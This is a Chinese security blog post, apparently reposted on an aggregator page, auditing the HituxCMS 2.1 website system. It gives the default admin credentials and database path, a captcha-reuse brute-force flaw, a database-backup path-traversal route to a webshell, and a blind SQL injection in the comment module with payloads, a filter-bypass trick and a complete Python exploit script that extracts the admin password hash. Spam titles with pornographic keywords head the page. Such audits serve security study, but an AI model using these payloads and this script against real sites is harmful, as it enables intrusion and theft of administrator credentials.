国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

海納企業(yè)網(wǎng)站管理系統(tǒng)HituxCms2.1代碼審計(jì)GETSHELL+注入

Sourcelink / 4458人閱讀

摘要:一系統(tǒng)介紹海納企業(yè)網(wǎng)站管理系統(tǒng)是海納網(wǎng)絡(luò)工作室專業(yè)為企業(yè)建站而開發(fā)的一款網(wǎng)站程序。是企業(yè)建站的絕佳選擇系統(tǒng)三大特色全靜態(tài)全站生成靜態(tài)頁面。夠簡單擁有完善后臺(tái)管理系統(tǒng),所有內(nèi)容均可在后臺(tái)進(jìn)行更新。登錄會(huì)話產(chǎn)生登陸成功時(shí)記錄對(duì)字段進(jìn)行驗(yàn)證。

〇.前言

本文為篤行日常工作記錄,這篇審計(jì)文章,也是在2014年國慶期間寫的,比較簡單。意在展現(xiàn)一個(gè)完整的開源CMS代碼手工審計(jì)的過程,從未發(fā)表過,三年過去了,回過頭看還是優(yōu)點(diǎn)意義的,故這次發(fā)出來,一起學(xué)習(xí)~。
通過本文你可以獲取HituxCMS 2.1版本的漏洞發(fā)掘過程,getshell和sql注入。

一.系統(tǒng)介紹

海納企業(yè)網(wǎng)站管理系統(tǒng)(HituxCMS)是海納網(wǎng)絡(luò)工作室(Hitux.com)專業(yè)為企業(yè)建站而開發(fā)
的一款網(wǎng)站程序。該系統(tǒng)采用最簡單易用的 asp+access 進(jìn)行搭建,擁有完善的網(wǎng)站前后臺(tái),
并特別根據(jù)企業(yè)網(wǎng)站的特點(diǎn)開發(fā)出獨(dú)具特色的欄目和功能。 HituxCMS 是企業(yè)建站的絕佳選
擇!
系統(tǒng)三大特色:
1、全靜態(tài):全站生成.html 靜態(tài)頁面。降低服務(wù)器壓力,增強(qiáng)百度收錄。
2、高優(yōu)化:特別針對(duì)搜索引擎進(jìn)行優(yōu)化處理,讓客戶快速找到你。
3、 夠簡單:擁有完善后臺(tái)管理系統(tǒng),所有內(nèi)容均可在后臺(tái)進(jìn)行更新。非專業(yè)人士也可
操作。

二. 架構(gòu)分析 2.1 系統(tǒng)目錄結(jié)構(gòu)

系統(tǒng)核心目錄結(jié)構(gòu)如下:

其中 AdminBeat 為后臺(tái)目錄, 整站的管理功能模塊都在此目錄中完成, Data21923 是數(shù)
據(jù)庫存放目錄。這兩個(gè)目錄一般會(huì)改名做最基本的安全。
rss 和 search 是 直 接 暴 露 在 外 面 的 用 戶 可 以 直 接 調(diào) 用 的 功 能 , rss/index.asp
search/index.asp, RSS 訂閱和搜索。

2.2 系統(tǒng)功能模塊

Inc 目錄為基礎(chǔ)的通用包含模塊目錄,功能如下:

文件名 功能
/x_to_html 后臺(tái)生成靜態(tài)模塊集合 后臺(tái)生成靜態(tài)模塊集合
Access.asp 權(quán)限驗(yàn)證模塊
AntiAttack.asp 攻擊防御模塊
article_view.asp 文章閱讀計(jì)數(shù)器
comment.asp 留言模塊
conn.asp 數(shù)據(jù)庫連接模塊
Create.asp 創(chuàng)建文件夾模塊
GetCode.asp 驗(yàn)證碼生成模塊
html_clear.asp Html 實(shí)體/XSS 過濾模塊
Md5.asp MD5 算法類
page_list.asp 分頁模塊
rand.asp 隨機(jī)數(shù)模塊
web_config.asp 站點(diǎn)基本配置讀取模塊

AdminBeat 目錄下功能繁多,就不一一列舉,且后臺(tái)在實(shí)戰(zhàn)中經(jīng)常改變的。 就例舉常用敏感
功能。

文件名 功能
/KEditor KindEditor 目錄,版本: 4.1.3
/PicUpload 圖片上傳模塊
/PicUpLoad2 圖片上傳模塊
Data_xxxx.asp 數(shù)據(jù)庫操作模塊
admin_login.asp 管理員登錄驗(yàn)證模塊
upfile.asp upfile_photo.asp upload.inc 文件上傳
2.3 系統(tǒng)實(shí)體/表結(jié)構(gòu)分析(只列核心重要的)
表名 作用
Article 文章
Category 文章分類
Web_admin 管理員信息表(密碼帳號(hào)權(quán)限)
Web_article_comment 文章評(píng)論
Web_models 模版主題
Web_settings 系統(tǒng)配置

其中Web_Admin 表結(jié)構(gòu)如下

管理員密碼以 md5-16 形式存放于 password 字段。

2.4 系統(tǒng)缺省設(shè)置
缺省項(xiàng)目 作用
后臺(tái)目錄 /adminbeat 管理員登錄 系統(tǒng)最重要的
默認(rèn)數(shù)據(jù)庫目錄/Data21293/NYIKUGY5434231.mdb 系統(tǒng)持久化文件敏感信息
默認(rèn)管理員密碼帳號(hào) admin/admin 登錄后臺(tái)用,擁有系統(tǒng)的最高權(quán)限
2.5 系統(tǒng)權(quán)限驗(yàn)證機(jī)制解析

? 本系統(tǒng)對(duì)于用戶純靜態(tài),沒有動(dòng)態(tài)的文件展示。只有rss.asp/serach.asp/comment.asp 交
互用,也沒有普通用戶的系統(tǒng),所有的操作都在后臺(tái)進(jìn)行。
? 權(quán)限驗(yàn)證總體來說做的還不錯(cuò),粗看沒有找到能越權(quán)操作的地方, 且驗(yàn)證比較合理,狀
態(tài)采用 Session 機(jī)制保存,系統(tǒng) Session 字段如下:

Session 作用
Session("log_name") 判斷是否登錄用
Session("getcode") 驗(yàn)證碼記錄字段
Session("log_role") 管理員權(quán)限字段

? 這里引入的 Session 機(jī)制非常合理,充分避免了一些權(quán)限繞過的問題。
登錄會(huì)話產(chǎn)生 session

If Not (rs.bof Or rs.eof) Then
Session("log_name")=rs("username")
Session("log_role")=rs("class")
session.Timeout=1000

Admin_login.asp 登陸成功時(shí)記錄 Session

<%
"chk session
If Session("log_name")="" Then
response.redirect "login.asp"
%>
<%
End If
%>

Access.asp 對(duì) Session 字段進(jìn)行驗(yàn)證。

<%
Session.Abandon()
Response.Redirect "login.asp"
%>

Loingout.asp 銷毀 Session

三.系統(tǒng)整體防御體系分析 3.1 用戶權(quán)限/越權(quán)操作防御

上文中 Session 機(jī)制引入,驗(yàn)證模塊 Access.asp。在所有的后臺(tái)功能操作模塊均包含了
Access.asp。

所以越權(quán)操作基本不存在,權(quán)限字段似乎也沒什么用,只要是管理員能就能操作后臺(tái)。

3.2 SQL注入防御

主要有 2 個(gè)文件 inc/AntiAttack.aspAdminbeat/Inc/Functions.asp

Err_Message = 1 "處理方式: 1=提示信息,2=轉(zhuǎn)向頁面,3=先提示再轉(zhuǎn)向
Err_Web = "Err.Asp" "出錯(cuò)時(shí)轉(zhuǎn)向的頁面
Query_Badword=""‖and‖select‖update‖chr‖delete‖%20from‖;‖insert‖mid‖master.‖set‖chr(37)‖=‖
script‖alert"
"在這部份定義 get 非法參數(shù),使用"‖"號(hào)間隔
Form_Badword="select‖and‖set‖delete‖insert‖update‖=‖script‖alert" "在這部份定義 post 非法參數(shù),使用"‖"
號(hào)間隔
"------定義部份 尾-----------------------------------------------------------------------
"
On Error Resume Next
"----- 對(duì) get query 值 的過濾.
if request.QueryString<>"" then
Chk_badword=split(Query_Badword,"‖")
FOR EACH Query_form_name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_form_name)),Chk_badword(i))<>0 Then
Select Case Err_Message
報(bào)錯(cuò)語句
if request.form<>"" then
Chk_badword=split(Form_Badword,"‖")
FOR EACH form_name2 IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(form_name2)),Chk_badword(i))<>0 Then
Select Case Err_Message
報(bào)錯(cuò)語句

可以發(fā)現(xiàn)本系統(tǒng)對(duì) get 參數(shù)和 post 參數(shù)進(jìn)行了基本過濾, 但顯然 post 參數(shù)過濾的關(guān)鍵詞不多, 且過濾方式是模式匹配,請(qǐng)求參數(shù)只要完整包含過濾詞中的其中一個(gè)則會(huì)出現(xiàn)
如下錯(cuò)誤:

過濾一些 T-SQL 的關(guān)鍵詞,看似還算安全,此文件非函數(shù)封裝,只要包含了此文件都會(huì)起
到防御功能。
Adminbeat/Inc/Functions.asp 中, GetSafeStr 函數(shù)過濾引號(hào)分號(hào)。

Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), """, ""), Chr(34), ""), ";", "")
End Function

這是個(gè)函數(shù)需要主動(dòng)調(diào)用這個(gè)函數(shù)才能起到防御作用。

3.3 XSS防御

文件 inc/html_clear.asp
HTML 過濾就不具體分析了,下文具體漏洞挖掘中用到再分析。

四.漏洞挖掘和分析 4.1 驗(yàn)證碼邏輯缺陷

以登錄為例: AdminBeat/login.asp

 驗(yàn)證碼,看不清楚?請(qǐng)
點(diǎn)擊刷新驗(yàn)證碼

? 驗(yàn)證碼通過/inc/getcode.asp 請(qǐng)求并且寫入 session,如果登錄失敗,則會(huì)返回到 login.asp頁面,但是刷新驗(yàn)證碼是通過 HTML 腳本實(shí)現(xiàn)的,只要我們請(qǐng)求一次驗(yàn)證碼,在這個(gè)會(huì)話周期和 SESSION 周期里,我們只要不重新去請(qǐng)求/inc/getcode.asp 那么驗(yàn)證碼是不會(huì)變的!于是就可以寫一個(gè)后臺(tái)管理員密碼爆破工具。

4.2 后臺(tái) GetShell

? 如果有了后臺(tái)權(quán)限那 GetShell 還是很簡單的,這里我沒有詳細(xì)挖掘上傳漏洞,就直接使
用數(shù)據(jù)庫備份功能[內(nèi)容管理->數(shù)據(jù)管理->數(shù)據(jù)備份]。

? 看備份代碼:

act=Request("act")
If act="save" Then
NewData=replace(LCase(request("NewData")),".asp",".mdb")
if NewData=request("OldData") then
response.Write ""
response.end
else
Set fso=CreateObject("Scripting.FileSystemObject")
filesource=server.MapPath(DataFolder&"/"&request("OldData"))
fileto=server.MapPath(DataFolder&"/"&NewData)
if fso.fileexists(filesource)

? 可以發(fā)現(xiàn),簡單的把.asp 替換程.mdb,當(dāng)時(shí)沒有考慮 asa, cer,aspx 也能執(zhí)行的情況。

其次備份文件路徑?jīng)]有做限制,可以構(gòu)造../1.cer 跳到根目錄,在我們不知道數(shù)據(jù)庫目錄的情況下可以把文件備份到根目錄。那么就可以在數(shù)據(jù)庫中插入我們的惡意語句或者上傳一個(gè)文件用備份方式修改后綴名獲取 WEBSHELL。

4.3 留言板SQL注入

? 直接進(jìn)入主題,留言板前端位于/ FeedBack/index.html

? 后端代碼為/inc/comment.asp







<%"判斷
if request("act")="add" then
article_id=request("id")
name1=trim(request.form("name"))
email1=trim(request.form("email"))
qq1=trim(request.form("qq"))
comment=trim(request.form("content"))
input_code=trim(request.form("verycode"))
url1=trim(request.form("homepage"))
image1=trim(request.form("img"))
if comment="" then
response.Write ""
else
if request("verycode")="" then
response.write ""
Response.End
elseif session("getcode")="9999" then
session("getcode")=""
elseif session("getcode")="" then
response.write ""
Response.End
elseif cstr(session("getcode"))<>cstr(trim(request("verycode"))) then
response.write ""
Response.End
end if

? 引入了防注入文件和 CSS 過濾文件看來比較安全,留言通過 POST 表單形式提交的,繼續(xù)看
代碼。

set rs=server.createobject("adodb.recordset")
sql="select * from web_article_comment where [content]=""&nohtml(comment)&"""
rs.open(sql),cn,1,3
if not rs.eof then
response.Write ""
else
rs.addnew
if article_id<>"" then
rs("article_id")=article_id
end if

? 發(fā)表留言是,會(huì)對(duì)留言內(nèi)容進(jìn)行查庫判重復(fù)。

sql="select * from web_article_comment where [content]=""&nohtml(comment)&"""

? 這里我們能控制的是 comment 字段,再看上面 post 參數(shù)過濾代碼,沒有對(duì)引號(hào)之類的進(jìn)行
過濾。

? 提交數(shù)據(jù)

提示不要重復(fù), 看來已經(jīng)繞過了注入過濾。那么構(gòu)造一條查詢有結(jié)果集的語句,如果庫內(nèi)沒有任何留言我們可以先留言一個(gè)( 為了構(gòu)造語句,使得查詢結(jié)果集有結(jié)果)。
我們要構(gòu)造成這樣

select * from web_article_comment where [content]="anything" or "1"="1"

? 繼續(xù)提交數(shù)據(jù)

? 提示被過濾了!

原來是 AntiAttack.asp 中過濾的 = 符號(hào)
那我們改成這樣,也能達(dá)到條件

select * from web_article_comment where [content]="anything" or "1"<"2"

符合我們的預(yù)期,說明確實(shí)被帶入語句查詢了!看來注入點(diǎn)存在,那我們讓條件不滿足,應(yīng)該會(huì)提示留言已經(jīng)發(fā)布成功!

繼續(xù)再提交

select * from web_article_comment where [content]="anything" or "1">"2"

結(jié)果如下:

注入存在!
前文提到過 web_admin 表中的管理員數(shù)據(jù),那我們來構(gòu)造語句注入吧, 但是這個(gè)注入點(diǎn)是
不會(huì)把查詢結(jié)果回顯到前端,那么只能偽盲注,為什么叫偽盲注呢,因?yàn)檫€是有留言成功和
不成功的兩種狀態(tài)的。直接進(jìn)入主題。 按位猜解。

select * from web_article_comment where [content]="anything"or "1">"2" union select
id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where mid(password,1,1)>"a"

根據(jù)返回結(jié)果來判斷密碼的某一位是否是一個(gè)值,又因?yàn)?md5-16 加密,那么值的范圍肯定
是屬于集合{ 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f }
那么最壞情況下猜解 16 x 16 次即可把密碼完全解出來,我們來驗(yàn)證下。 默認(rèn)密碼 MD5 是
“7a57a5a743894a0e”
那我們提交

anything"or "1">"2" union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin
where mid(password,1,1)<"8

應(yīng)該返回留言重復(fù)。

提交

anything"or "1">"2" union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin
where mid(password,1,1)< "7

應(yīng)該返回留言發(fā)表成功。

哦對(duì)了,我們引入了 select union 等被過濾的詞。那么我們來繞過過濾!
感謝過濾 XSS 模塊給我的幫助,見上文。

sql="select * from web_article_comment where [content]=""&nohtml(comment)&"""

我們來看看 nohtml 這個(gè)函數(shù)的實(shí)現(xiàn),其中有代碼:

re.Pattern="(<.[^<]*>)"
str=re.replace(str,"")
re.Pattern="()"
str=re.replace(str,"")
re.Pattern="/(^[s]*)/g"
str=re.replace(str,"")

太棒了,我們可以把 select 改成 select 這種, 在處理的時(shí)候直接繞過了注入監(jiān)測,然后在查庫前通過 nohtml 函數(shù)把 select 又還原程了 select!太幸福,那么分分鐘就可以寫出了簡單的 exp,然后有了這個(gè)過 waf 也是簡單的,我們可以填充任意 html 元素!

def get( idx,key ):
s = "ly"or "1">"2" union select id,2,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where
mid(password,%d,1)<"%c"%(idx,key)
#print s
httplib.HTTPConnection.debuglevel = 1
request = urllib2.Request( "http://localhost/inc/comment.asp?act=add&id=" )
request.add_header("Accept", "text/html,*/*")
request.add_header("Connection", "Keep-Alive")
request.add_header("Cookie","ASPSESSIONIDASASARAR=IBEHGIGBOOHNEHLJPENBEJMM")
datax = {"name":"f","content": s,"verycode":"0663"}
print datax
datax = urllib.urlencode(datax)
try:
opener = urllib2.build_opener()
d = opener.open(request,data=datax, timeout=5).read()
d = d.decode("utf8").encode("gbk")
print d
if( d.find( "成功" ) != -1):
return 0
else:
return 1 #存在
except Exception, e:
return 0
def binarydriver( s,e,keys):
while s <= e:
m = (s+e)//2
print m
if get(keys[m])>0:
e = m - 1
elif e - s > 0:
s = m + 1
else:
return keys[m]
binarydriver(s,e,keys)
def check_jcfile(idx):
s = "/0123456789abcdefg"
l = 0
ll = 0
for i in range(0, 17):
l = get(idx,s[i])
if ll == 0 and l == 1:
return s[i - 1]
ll = l
return "0

def main(argv):
md5 = "";
for i in range(1, 17):
md5 = md5 + check_jcfile( i )
print md5

EXP 沒有加優(yōu)化,只是遍歷的,如果用二分法( ’0123456789abcdef’) 是有序的,可以把枚
舉的復(fù)雜度降低到 log16。大大加快了 EXP 的速度,其次 EXP 可以把驗(yàn)證碼識(shí)別下,做到全自動(dòng)批量工具,百度一下還是效果不錯(cuò)的。

最后 ending…如有不足請(qǐng)指點(diǎn),亦可留言或聯(lián)系 fobcrackgp@163.com.
本文為篤行原創(chuàng)文章首發(fā)于大題小作,永久鏈接:海納企業(yè)網(wǎng)站管理系統(tǒng)HituxCms2.1代碼審計(jì)GETSHELL+注入

https://www.ifobnn.com/hituxcms0day.html

文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請(qǐng)注明本文地址:http://specialneedsforspecialkids.com/yun/11300.html

相關(guān)文章

  • 利用nginx日志結(jié)合本地包含漏洞GetShell

    摘要:近日施耐德電氣爆出的漏洞,首先得到了一個(gè)本地包含,在這里作為靶目標(biāo)使用。配置文件中獲得了錯(cuò)誤日志的路徑,且關(guān)閉了訪問日志。利用思路整理那么我們可以利用錯(cuò)誤日志來構(gòu)造合法的代碼,從而利用包含漏洞。了解何時(shí)會(huì)向錯(cuò)誤日志寫入內(nèi)容。 0前言 在WEB滲透測試中尤其是PHP,經(jīng)常會(huì)挖到LFI漏洞,想要GETSHELL,但無奈沒有文件上傳的途徑,這里給一個(gè)思路,拋磚引玉。 近日施耐德電氣爆出的漏洞...

    bitkylin 評(píng)論0 收藏0
  • 利用nginx日志結(jié)合本地包含漏洞GetShell

    摘要:近日施耐德電氣爆出的漏洞,首先得到了一個(gè)本地包含,在這里作為靶目標(biāo)使用。配置文件中獲得了錯(cuò)誤日志的路徑,且關(guān)閉了訪問日志。利用思路整理那么我們可以利用錯(cuò)誤日志來構(gòu)造合法的代碼,從而利用包含漏洞。了解何時(shí)會(huì)向錯(cuò)誤日志寫入內(nèi)容。 0前言 在WEB滲透測試中尤其是PHP,經(jīng)常會(huì)挖到LFI漏洞,想要GETSHELL,但無奈沒有文件上傳的途徑,這里給一個(gè)思路,拋磚引玉。 近日施耐德電氣爆出的漏洞...

    OBKoro1 評(píng)論0 收藏0
  • PHP 開發(fā)者如何做代碼審查?

    摘要:我們做代碼審計(jì)之前選好工具也是十分必要的。一審計(jì)工具介紹代碼審計(jì)系統(tǒng)功能介紹是一款基于開發(fā)的針對(duì)代碼安全審計(jì)的軟件。自定義審計(jì)規(guī)則。黑盒敏感信息泄露一鍵審計(jì)。挖掘這種漏洞主要是檢查是否使用了,搜索和。 GitChat 作者:湯青松原文:PHP 開發(fā)者如何做代碼審查?關(guān)注微信公眾號(hào):「GitChat 技術(shù)雜談」 一本正經(jīng)的講技術(shù) 【不要錯(cuò)過文末彩蛋】 前言 工欲善其事,必先利其器。我們做...

    Achilles 評(píng)論0 收藏0

發(fā)表評(píng)論

0條評(píng)論

最新活動(dòng)
閱讀需要支付1元查看
<